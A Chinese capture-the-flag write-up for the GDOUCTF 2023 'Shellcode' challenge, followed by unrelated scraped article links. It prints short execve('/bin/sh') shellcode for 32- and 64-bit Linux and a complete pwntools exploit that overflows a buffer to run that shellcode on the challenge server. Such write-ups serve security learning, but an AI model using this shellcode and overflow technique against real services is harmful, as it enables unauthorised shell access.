PWN手的成长之路-10-GDOUCTF 2023-Shellcode-短字节shellcode
nc 连接远程环境。
file 查看文件。
checksec 查看文件安全属性。
IDA 打开文件。程序把输入放进 name 变量中,但是只读取 25 个字节。
shift+F12 查看所有的字符串。并没有发现 /bin/sh 后门,因此我们需要自己上传 sh的shellcode
溢出大小:
name 变量的地址。
流程:我们需要先上传一个小于 25 字节的shellcode,然后溢出 name 变量的缓冲区。
但是这次不能用 asm(shellcraft.sh()) ,因为使用 shellcraft 默认生成的字节数是 0x30 这里只能0x25 我们需要找小于0x25的 shellcode。
32 位 短字节 shellcode -> 21 字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
64 位 较短的 shellcode -> 23 字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
exp:
from pwn import *
r=remote('node4.anna.nssctf.cn',28179)
context.log_level='debug'
context.arch='amd64'
context.os='linux'
name_addr=0x6010A0
shellcode='\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
payload=b'a'*(0xA+8)+p64(name_addr)
r.send(shellcode)
r.sendline(payload)
r.interactive()
得到 flag。
PWN手的成长之路-10-GDOUCTF 2023-Shellcode-短字节shellcode的更多相关文章
- linux小白成长之路10————SpringBoot项目部署进阶
[内容指引] war包部署: jar包部署: 基于Docker云部署. 一.war包部署 通过"云开发"平台初始化的SpringBoot项目默认采用jar形式打包,这也是我们推荐的 ...
- python成长之路10
断点续传 python2.7 多继承 py35多继承 socketserver源码 支持并发处理socket i/o多路复用 上节回顾 socket ...
- 我的Python分析成长之路10
matplot数据可视化基础 制作提供信息的可视化(有时称作绘图)是数据分析中最重要任务之一. 1.图片(画布)与子图 plt.figure :创建一张空白的图片,可以指定图片的大小.像素. figu ...
- OpenCV成长之路(10):视频的处理
视频中包含的信息量要远远大于图片,对视频的处理分析也越来越成为计算机视觉的主流,而本质上视频是由一帧帧的图像组成,所以视频处理最终还是要归结于图像处理,但在视频处理中,有更多的时间维的信息可以利用.本 ...
- python成长之路10——socketserver源码分析
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0) 参数一:地址簇 socket.AF_INET ipv4(默认) socket.AF_INE ...
- 物联网架构成长之路(10)-Nginx负载均衡
0. 前言 关于Nginx负载均衡的简单配置,我以前博客配置过基于HTTP的负载均衡.这次的负载均衡有点不一样,就是基于TCP的负载均衡.基于HTTP负载均衡是默认的Nginx版本支持的,配置也很简单 ...
- 专访雷水果国:离1.5K至18K 一个程序猿5每年的成长之路
我只是一个小菜鸟,对于自主学习和交流PHP(jquery,linux,lamp,shell,javascript,server)等一系列的知识.小菜鸟创建了一个群.希望光临本博客的人能够进来交流. 寻 ...
- 《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》
<菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...
- 原创电子书《菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师》
<菜鸟程序员成长之路:从技术小白到阿里巴巴Java工程师> 国庆节快乐!一年一度长度排第二的假期终于来了. 难得有十一长假,作者也想要休息几天啦. 不管你是选择出门玩,还是在公司加班,在学 ...
- (转)Python成长之路【第九篇】:Python基础之面向对象
一.三大编程范式 正本清源一:有人说,函数式编程就是用函数编程-->错误1 编程范式即编程的方法论,标识一种编程风格 大家学习了基本的Python语法后,大家就可以写Python代码了,然后每个 ...
随机推荐
- leetcode 1556
简介 简单题 思路:sprintf 将数字转为字符串,然后新建一个空的字符串然后将逆序统计是否可以被3整除添加0 感觉简单题做的也很慢 参考链接 https://github.com/haoel/le ...
- BIgdataAIML-IBM-A neural networks deep dive - An introduction to neural networks and their programming
https://developer.ibm.com/articles/cc-cognitive-neural-networks-deep-dive/ By M. Tim Jones, Publishe ...
- 不懂代码的产品经理,用AI一天上线法语版爆款游戏
背景 当热门单词游戏 Sutom(法语版Wordle)需要快速本地化时,我是一位零编程经验的产品经理,借助AI工具链24小时内完成全流程开发并上线.实现效果可以点击这里查看:https://sutom ...
- CF1530G 题解
考虑对操作进行转换.假设 \(a_i\) 为第 \(i\) 个 \(1\) 前面的 \(0\) 的个数. 则操作可以进行如下转换: 转换 1:选择一个长度为 \(k + 1\) 的子区间 \(a_{l ...
- Docker问题解决:Error response from daemon: Get https://registry-1.docker.io/v2/yandex/clickhouse-server/manifests/latest: net/http: TLS handshake timeout
方法1: vi /etc/docker/daemon.json { "registry-mirrors": ["http://hub-mirror.c.163.com&q ...
- 深度学习入门 (1)numpy+matplotlib
导入numpy 和 matplotlib import numpy as np import matplotlib.pyplot as plt sinx函数图像 x = np.arange(0,6,0 ...
- WebSoket的概述,API和使用
一.概念 1 Web Socket(套接字)的目标时通过一个长时连接实现语服务器全双工,双向的通信 2.在js中创建一个Web Socket时,会发送一个http请求到服务器以初始化连接.服 ...
- keras 入门 (一)
1.Keras 简介 Keras 是一个高层神经网路的API , 特点就是简单易用keras 是目前流行的深度学习框架里面,最简单的.keras后台调用了 Tensorflow,Microsoft-C ...
- Python零基础从入门到精通详细教程3-数据类型
1.简介 上一篇宏哥讲解和分享了Python的变量和常量,今天宏哥按照计划讲解和分享一下Python的基本数据类型.我们先来看一下学习变量和基本数据类型的目的.Python是一种高级编程语言,它支持多 ...
- Oracle 行转列pivot 、列转行unpivot 的Sql语句总结(转)
多行转字符串 这个比较简单,用||或concat函数可以实现 1 select concat(id,username) str from app_user 2 3 select id||usernam ...